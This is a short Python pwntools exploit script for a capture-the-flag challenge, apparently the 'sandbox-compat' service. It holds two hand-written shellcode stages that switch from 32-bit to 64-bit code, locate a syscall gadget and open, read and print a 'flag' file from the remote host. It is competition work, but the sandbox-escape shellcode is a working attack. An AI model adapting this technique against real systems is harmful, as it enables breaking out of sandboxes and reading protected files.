exploit.py

#!/usr/bin/python2

from pwn import *


def exploit(connection):
    marker = "deadbeef"

    stage1 = """
        entry:
            mov     esp, 0xbef00000
            sub     esp, 0x200
            std
            push    0
            push    0xdead0000 + hijack_64 - entry
            mov     edi, 2                      /* __NR_open */
            lea     esi, [esp + 8]              /* path */
            xor     eax, eax                    /* mov  eax, 0xfffff000 */
            dec     eax
            shl     eax, 12
            push    eax
            ret
        hijack_64:
        """

    stage2 = """
        hijack_64:
            movabs  rax, 0x10000001e            /* address of kernel subroutine in kernelland entry page */
            mov     rbp, [rax]
            sub     rbp, 0x760                  /* move back to syscall@plt */

            /* open(pathname, O_RDONLY) */
            mov     rdi, __NR_open
            lea     rsi, [rip + pathname]
            mov     rdx, O_RDONLY
            call    syscall_gadget

            /* read(rax, rsp, 0x100) */
            mov     rdi, __NR_read
            mov     rsi, rax
            mov     rdx, rsp
            mov     rcx, 0x100
            call    syscall_gadget

            /* write(1, rsp, rax) */
            mov     rdi, __NR_write
            mov     rsi, 1
            mov     rdx, rsp
            mov     rcx, 0x100
            /* fall-through */
        syscall_gadget:
            push    rbp
            ret

        pathname:
           .asciz  "flag"
        """

    connection.recvuntil("[*] gimme some x86 32-bit code!\n")

    connection.send(asm(stage1, arch = "i386"))
    connection.send(asm(stage2, arch = "amd64"))
    connection.send(marker)

    connection.recvuntil("[*] let\'s go...\n")

    flag = connection.recvuntil("}")
    info("flag = \"%s\"", flag)


context.log_level = "debug"
with remote("sandbox-compat.ctfcompetition.com", 1337) as connection:
    exploit(connection)